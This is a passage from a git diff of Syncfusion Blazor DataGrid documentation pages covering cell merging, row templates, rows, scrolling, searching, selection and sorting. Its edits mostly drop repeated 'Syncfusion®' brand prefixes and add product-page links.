+In addition to automatic cell merging, the Blazor DataGrid provides API support for manually merging cells when custom layout behavior is required. This functionality is available through the [MergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_MergeCellsAsync_Syncfusion_Blazor_Grids_MergeCellInfo_) method, which enables the definition of rectangular regions of cells to be merged programmatically.
 
 Use [MergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_MergeCellsAsync_Syncfusion_Blazor_Grids_MergeCellInfo_) method to manually merge cells by defining rectangular regions. This method supports both single and batch merging, allowing precise control over layout customization when automatic spanning is insufficient.
 
@@ -1425,7 +1425,7 @@ public class TelecastData
 
 ## Clear spanning via programmatically
 
-The Syncfusion Blazor DataGrid provides API support to manually remove merged regions when restoration of individual cells is required. This functionality is achieved using the [UnmergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) methods, which allow specific merged areas to be unmerged programmatically. For scenarios where all merged regions in the current view need to be reset, the [UnmergeAllAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) method can be used to restore every cell to its original state.
+The Blazor DataGrid provides API support to manually remove merged regions when restoration of individual cells is required. This functionality is achieved using the [UnmergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) methods, which allow specific merged areas to be unmerged programmatically. For scenarios where all merged regions in the current view need to be reset, the [UnmergeAllAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) method can be used to restore every cell to its original state.
 
 The [UnmergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) method is overloaded to provide flexibility for different scenarios. Both overloads share the same method name but accept different parameter types, allowing removal of either a single merged region or multiple merged regions in one operation.
 
diff --git a/blazor/datagrid/row-template.md b/blazor/datagrid/row-template.md
index dfc897e608..16a923cb14 100644
--- a/blazor/datagrid/row-template.md
+++ b/blazor/datagrid/row-template.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Row Template in Blazor DataGrid
 
-The [RowTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_RowTemplate) feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables complete control over the appearance and layout of each row. It is useful for displaying rich, composite content—such as images, buttons, and interactive controls—instead of plain text.
+The [RowTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_RowTemplate) feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables complete control over the appearance and layout of each row. It is useful for displaying rich, composite content—such as images, buttons, and interactive controls—instead of plain text.
 
 To enable and configure the `RowTemplate` feature in the Grid, follow these steps:
 
@@ -191,7 +191,7 @@ public class EmployeeData
 
 ## Row template with formatting
 
-Typically, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid columns are formatted using [Columns.Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format). When using row templates, values rendered inside the template are not affected by `Columns.Format`.
+Typically, the Blazor DataGrid columns are formatted using [Columns.Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format). When using row templates, values rendered inside the template are not affected by `Columns.Format`.
 
 To format values inside a row template, apply .NET formatting in the template (for example, using `ToString` with a format string) or invoke a helper method to produce the desired output such as dates, currency, or custom text.
 
@@ -377,7 +377,7 @@ public class EmployeeData
 
 ## Render Syncfusion<sup style="font-size:70%">&reg;</sup> control in row template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can render Syncfusion<sup style="font-size:70%">&reg;</sup> components inside row templates, enabling interactive UI elements within rows.
+The Blazor DataGrid can render Syncfusion<sup style="font-size:70%">&reg;</sup> components inside row templates, enabling interactive UI elements within rows.
 
 To render a Syncfusion<sup style="font-size:70%">&reg;</sup> control in a row template, set the `RowTemplate` property and provide the custom HTML that defines the row layout.
 
@@ -510,7 +510,7 @@ public class OrderData
 
 ## Render Syncfusion<sup style="font-size:70%">&reg;</sup> Chart in row template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports embedding other Syncfusion<sup style="font-size:70%">&reg;</sup> components, such as Charts, in row templates to visualize data directly within rows.
+The Blazor DataGrid supports embedding other Syncfusion<sup style="font-size:70%">&reg;</sup> components, such as Charts, in row templates to visualize data directly within rows.
 
 To render a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart in a row template, use the [RowTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_RowTemplate) property to define the row layout and include the chart markup within the template.
 
diff --git a/blazor/datagrid/row.md b/blazor/datagrid/row.md
index 12663e5543..b32eee1bbe 100644
--- a/blazor/datagrid/row.md
+++ b/blazor/datagrid/row.md
@@ -8,11 +8,11 @@ documentation: ug
 
 # Row in Blazor DataGrid
 
-Each row represents a single record from a data source and displays values for the fields of that record in a tabular format. Rows in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid support interaction such as selection, editing, sorting, filtering, and event-driven behaviors.
+Each row represents a single record from a data source and displays values for the fields of that record in a tabular format. Rows in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) support interaction such as selection, editing, sorting, filtering, and event-driven behaviors.
 
 ## Customize row styles
 
-Customizing row styles helps emphasize important data, align with application themes, and improve readability. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports styling through CSS, properties, methods, and events.
+Customizing row styles helps emphasize important data, align with application themes, and improve readability. The Blazor DataGrid supports styling through CSS, properties, methods, and events.
 
 ### Using event
 
@@ -312,7 +312,7 @@ public class OrderData
 
 ## Row height
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customizing row height to display more or less content as needed. Use the [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight) property to change the height of all rows in the Grid.
+The Blazor DataGrid supports customizing row height to display more or less content as needed. Use the [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight) property to change the height of all rows in the Grid.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -608,7 +608,7 @@ By default, `EnableHover` is **true**. Set it to **false** to disable row hover.
 
 ## Row pinning (Frozen)
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides an option to freeze rows, keeping them visible while scrolling vertically through large datasets. This feature helps maintain important information in view for better readability.
+The Blazor DataGrid provides an option to freeze rows, keeping them visible while scrolling vertically through large datasets. This feature helps maintain important information in view for better readability.
 
 {% youtube "youtube:https://www.youtube.com/watch?v=L2NvKyBomhM"%}
 
@@ -725,7 +725,7 @@ public class OrderData
 
 ### Change default frozen rows line color
 
-The frozen row background color in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized by applying CSS styles, allowing alignment with the application's theme.
+The frozen row background color in the Blazor DataGrid can be customized by applying CSS styles, allowing alignment with the application's theme.
 
 Apply the following CSS to change the default line color:
 
@@ -834,7 +834,7 @@ Frozen row is not compatible with the Autofill feature.
 
 ## Adding a new row programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports programmatically adding new rows using the [AddRecordAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AddRecordAsync__0_System_Nullable_System_Int32__) method. This is useful when inserting records without manual entry through the UI.
+The Blazor DataGrid supports programmatically adding new rows using the [AddRecordAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AddRecordAsync__0_System_Nullable_System_Int32__) method. This is useful when inserting records without manual entry through the UI.
 
 The `AddRecordAsync` method takes two parameters:
 
@@ -978,7 +978,7 @@ public class OrderData
 
 ## How to get the row data and element
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid exposes methods to retrieve row data and elements for custom operations.
+The Blazor DataGrid exposes methods to retrieve row data and elements for custom operations.
 
 1. [GetRowIndexByPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetRowIndexByPrimaryKeyAsync_System_Object_): Retrieves the row index based on a primary key value or row data.
 
@@ -1014,7 +1014,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid exposes met
 
 ## Master Detail DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can display related details in another Grid using a master-detail layout. Selecting a row in the master Grid loads related records in the detail Grid.
+The Blazor DataGrid can display related details in another Grid using a master-detail layout. Selecting a row in the master Grid loads related records in the detail Grid.
 
 Use the [RowSelected](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowSelected) event on the master Grid to obtain the selected record. Apply a filter through the [Query](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Query) property of the detail Grid and bind the resulting collection to its [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource).
 
diff --git a/blazor/datagrid/scrolling.md b/blazor/datagrid/scrolling.md
index 5df5e05495..4c7209e54c 100644
--- a/blazor/datagrid/scrolling.md
+++ b/blazor/datagrid/scrolling.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Scrolling in Blazor DataGrid
 
-The scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables navigation through content that extends beyond the visible area of the Grid. Scrollbars appear automatically when content exceeds the specified **Width** or **Height** of the Grid element. This is useful for large datasets or when the Grid must fit within a constrained layout. The vertical and horizontal scrollbars are displayed based on the following criteria:
+The scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables navigation through content that extends beyond the visible area of the Grid. Scrollbars appear automatically when content exceeds the specified **Width** or **Height** of the Grid element. This is useful for large datasets or when the Grid must fit within a constrained layout. The vertical and horizontal scrollbars are displayed based on the following criteria:
 
 * The vertical scrollbar appears when the total height of rows exceeds the Grid element’s height.
 * The horizontal scrollbar appears when the total width of columns exceeds the Grid element’s width.
@@ -19,7 +19,7 @@ The scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Bl
 
 ## Set width and height
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows precise control over the scroller dimensions by setting pixel values for the Grid’s [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Width) and [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height). Specify numeric pixel values to constrain the Grid and automatically show scrollbars when content overflows.
+The Blazor DataGrid allows precise control over the scroller dimensions by setting pixel values for the Grid’s [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Width) and [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height). Specify numeric pixel values to constrain the Grid and automatically show scrollbars when content overflows.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -99,7 +99,7 @@ public class OrderDetails
 
 ## Responsive with parent container
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can fill its parent container and automatically adjust to available space. This supports responsive layouts across various screen sizes.
+The Blazor DataGrid can fill its parent container and automatically adjust to available space. This supports responsive layouts across various screen sizes.
 
 To enable this, set the Grid’s [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Width) and [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height) to 100%. The Grid’s parent element must have an explicit height; otherwise, a vertical scrollbar will not appear.
 
@@ -166,7 +166,7 @@ public class LazyLoadDetails
 
 ## Sticky header
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can keep column headers visible while scrolling. Enable this by setting [EnableStickyHeader](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableStickyHeader) to **true**. Sticky headers depend on a scrollable container with an explicit height.
+The Blazor DataGrid can keep column headers visible while scrolling. Enable this by setting [EnableStickyHeader](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableStickyHeader) to **true**. Sticky headers depend on a scrollable container with an explicit height.
 
 In the demo below, Grid headers remain sticky while scrolling within the Grid’s parent div element.
 
@@ -245,7 +245,7 @@ public class LazyLoadDetails
 
 ## Scroll to selected row
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can scroll content to bring a selected row into view. Use [ScrollIntoViewAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ScrollIntoViewAsync_System_Int32_System_Int32_System_Int32_) by passing a row index (or the appropriate overload parameters) to align the selection in the viewport.
+The Blazor DataGrid can scroll content to bring a selected row into view. Use [ScrollIntoViewAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ScrollIntoViewAsync_System_Int32_System_Int32_System_Int32_) by passing a row index (or the appropriate overload parameters) to align the selection in the viewport.
 
 The following example demonstrates scrolling to a selected row by passing the selected row index to `ScrollIntoViewAsync`:
 
@@ -357,7 +357,7 @@ public class LazyLoadDetails
 
 ## Customize the appearance of scrollbar
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid uses the native browser scrollbar for horizontal and vertical scrolling when content exceeds the Grid’s visible area. If the default appearance does not match application styling, the scrollbar can be customized using CSS—subject to browser support.
+By default, the Blazor DataGrid uses the native browser scrollbar for horizontal and vertical scrolling when content exceeds the Grid’s visible area. If the default appearance does not match application styling, the scrollbar can be customized using CSS—subject to browser support.
 
 Refer to this [CSS Tricks](https://css-tricks.com/almanac/properties/s/scrollbar/) article for details on cross-browser scrollbar styling. When customizing, consider accessibility and ensure that keyboard scrolling and focus visuals remain usable.
 
diff --git a/blazor/datagrid/searching.md b/blazor/datagrid/searching.md
index d9eac2fa35..005e38ce1c 100644
--- a/blazor/datagrid/searching.md
+++ b/blazor/datagrid/searching.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Searching in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes a built-in search feature that helps locate records quickly across grid data. Users can filter displayed records by entering a search key, which is especially useful for large datasets.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) includes a built-in search feature that helps locate records quickly across grid data. Users can filter displayed records by entering a search key, which is especially useful for large datasets.
 
 To provide a search box in the UI, add the Search item to the toolbar using the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property. Searching can also be performed programmatically using [SearchAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SearchAsync_System_String_) method. The [AllowSearching](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowSearching) property is column-level and is used to include or exclude specific columns from search; it is not required to enable global search.
 
@@ -290,7 +290,7 @@ Search operators define how the search key is compared to data values. Configure
 
 ## Search by external button
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports programmatic search, enabling custom search triggers such as external buttons. Use the grid’s [SearchAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SearchAsync_System_String_) method and pass the search text.
+The Blazor DataGrid supports programmatic search, enabling custom search triggers such as external buttons. Use the grid’s [SearchAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SearchAsync_System_String_) method and pass the search text.
 
 Steps:
 
@@ -462,7 +462,7 @@ By default, the search scans all visible columns. To restrict the search to spec
 
 ## Disable search for particular column
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid searches across all visible columns. To exclude a column, set the column’s [AllowSearching](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowSearching) property to false.
+By default, the Blazor DataGrid searches across all visible columns. To exclude a column, set the column’s [AllowSearching](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowSearching) property to false.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -534,7 +534,7 @@ By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid
 {% endhighlight %}
 {% endtabs %}
 
-N> For a broader overview, see the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour and the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5).
+N> For a broader overview, see the Blazor DataGrid feature tour and the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5).
 
 ## Ignore accents in search
 
@@ -834,7 +834,7 @@ The DataGrid can also be searched using multiple criteria. Build compound predic
 
 ## Clear search by external button
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the ability to clear the current search programmatically. To reset search results from an external button, call [SearchAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SearchAsync_System_String_) with an empty string. This clears the search text and removes the applied search.
+The Blazor DataGrid provides the ability to clear the current search programmatically. To reset search results from an external button, call [SearchAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SearchAsync_System_String_) with an empty string. This clears the search text and removes the applied search.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/selection.md b/blazor/datagrid/selection.md
index 17f695226e..5cd2fdea65 100644
--- a/blazor/datagrid/selection.md
+++ b/blazor/datagrid/selection.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Selection in Blazor DataGrid
 
-Selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables interactive selection of specific cells and rows. Selection can be performed using mouse clicks, arrow keys (up, down, left, right), or touch gestures. This feature is useful for highlighting, manipulating, or executing actions on targeted Grid elements.
+Selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables interactive selection of specific cells and rows. Selection can be performed using mouse clicks, arrow keys (up, down, left, right), or touch gestures. This feature is useful for highlighting, manipulating, or executing actions on targeted Grid elements.
 
 To disable selection, set the  [AllowSelection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSelection) property to **false**.
 
@@ -116,7 +116,7 @@ public class OrderDetails
 
 ## Selection mode
 
-The selection mode feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables configuration of how rows, cells, or both are selected within the Grid. This functionality is useful for highlighting and manipulating specific Grid elements based on application requirements.
+The selection mode feature in the Blazor DataGrid enables configuration of how rows, cells, or both are selected within the Grid. This functionality is useful for highlighting and manipulating specific Grid elements based on application requirements.
 To configure selection mode, set the [GridSelectionSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Mode) property. The Grid supports the following selection modes:
 
 * **Row** - Enables selection of rows only. (Default)
@@ -220,7 +220,7 @@ public class OrderDetails
 
 <!-- ## Touch interaction
 
-The touch interaction feature in Syncfusion Blazor DataGrid allows you to easily interact with the Grid on touch screen devices. This feature is particularly useful for improving the user experience on mobile devices and tablets, making it easier to navigate and interact with the Grid's content using touch gestures.
+The touch interaction feature in Blazor DataGrid allows you to easily interact with the Grid on touch screen devices. This feature is particularly useful for improving the user experience on mobile devices and tablets, making it easier to navigate and interact with the Grid's content using touch gestures.
 
 **Single Row Selection**
 
@@ -246,7 +246,7 @@ The following screenshot represents a Grid touch selection in the device.
 
 ## Toggle selection
 
-The toggle selection feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables to switch the selection state of rows or cells by simply clicking on them. When this feature is enabled, clicking a selected item will unselect it, and clicking an unselected item will select it.
+The toggle selection feature in the Blazor DataGrid enables to switch the selection state of rows or cells by simply clicking on them. When this feature is enabled, clicking a selected item will unselect it, and clicking an unselected item will select it.
 
 To activate toggle selection, set the [GridSelectionSettings.EnableToggle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_EnableToggle) property to **true**.
 
@@ -360,7 +360,7 @@ public class OrderDetails
 
 ### Toggle row selection via programmatically
 
-In Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, row selection can be toggled programmatically using the [SelectRowAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowAsync_System_Int32_System_Nullable_System_Boolean__System_Boolean_) method. By passing **true** as the second argument (**isToggle**), the method toggles the selection state of the specified row.
+In Blazor DataGrid, row selection can be toggled programmatically using the [SelectRowAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectRowAsync_System_Int32_System_Nullable_System_Boolean__System_Boolean_) method. By passing **true** as the second argument (**isToggle**), the method toggles the selection state of the specified row.
 
 If the row is already selected, it will be deselected; otherwise, it will be selected.
 
@@ -452,7 +452,7 @@ public class OrderDetails
 
 ## Drag selection
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports drag selection, allowing to select a range of cells or rows by dragging with a mouse or touch input. This feature improves usability in scenarios requiring bulk selection without relying on keyboard shortcuts.
+The Blazor DataGrid supports drag selection, allowing to select a range of cells or rows by dragging with a mouse or touch input. This feature improves usability in scenarios requiring bulk selection without relying on keyboard shortcuts.
 
 To enable drag selection, set the [AllowDragSelection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#properties) property of [GridSelectionSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html) to **true**.
 
@@ -542,7 +542,7 @@ public class OrderDetails
 
 ## Clear selection via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a method to programmatically clear selected rows or cells. This feature is useful when resetting selection states based on user actions or custom logic.
+The Blazor DataGrid provides a method to programmatically clear selected rows or cells. This feature is useful when resetting selection states based on user actions or custom logic.
 
 To clear selection in the Grid, use the [ClearSelectionAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearSelectionAsync) method.
 
@@ -635,7 +635,7 @@ public class OrderDetails
 
 ## Persist selection
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports persist selection, allowing selected rows to remain selected even after data operations or Grid refreshes. This feature is useful for maintaining selection state across various interactions.
+The Blazor DataGrid supports persist selection, allowing selected rows to remain selected even after data operations or Grid refreshes. This feature is useful for maintaining selection state across various interactions.
 
 To enable persist selection, set the [GridSelectionSettings.PersistSelection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_PersistSelection) property to **true**.
 
diff --git a/blazor/datagrid/sorting.md b/blazor/datagrid/sorting.md
index 334f0d6a2e..f7f9d35efd 100644
--- a/blazor/datagrid/sorting.md
+++ b/blazor/datagrid/sorting.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Sorting in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes a built-in sorting feature that helps organize information within columns. This makes it easier to locate and analyze data efficiently. To turn on sorting, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property to **true** in the Grid component.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) includes a built-in sorting feature that helps organize information within columns. This makes it easier to locate and analyze data efficiently. To turn on sorting, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property to **true** in the Grid component.
 
 Sorting can be applied in two ways:
 - **Ascending Order**: Arranges values from smallest to largest (e.g., A to Z or 1 to 100). An upward arrow (↑) appears next to the header.
@@ -103,7 +103,7 @@ public class OrderData
 
 ## Initial sorting
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid renders without any sorting applied. To arrange records in a desired order right from the initial load, configure initial sorting by setting the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortColumn.html#Syncfusion_Blazor_Grids_GridSortColumn_Field) (the column's data field name) and [Direction](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortColumn.html#Syncfusion_Blazor_Grids_GridSortColumn_Direction) properties (either **SortDirection.Ascending** for smallest to largest or **SortDirection.Descending** for largest to smallest) in the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html#Syncfusion_Blazor_Grids_GridSortSettings_Columns) collection of [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html).
+By default, the Blazor DataGrid renders without any sorting applied. To arrange records in a desired order right from the initial load, configure initial sorting by setting the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortColumn.html#Syncfusion_Blazor_Grids_GridSortColumn_Field) (the column's data field name) and [Direction](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortColumn.html#Syncfusion_Blazor_Grids_GridSortColumn_Direction) properties (either **SortDirection.Ascending** for smallest to largest or **SortDirection.Descending** for largest to smallest) in the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html#Syncfusion_Blazor_Grids_GridSortSettings_Columns) collection of [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html).
 
 In this configuration, initial sorting is applied to the **OrderID** and **ShipCity** columns using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html).
 
@@ -184,7 +184,7 @@ public class OrderData
 
 ## Multi-column sorting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports sorting multiple columns simultaneously. To enable this feature, set both [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) and [AllowMultiSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowMultiSorting) to **true**.
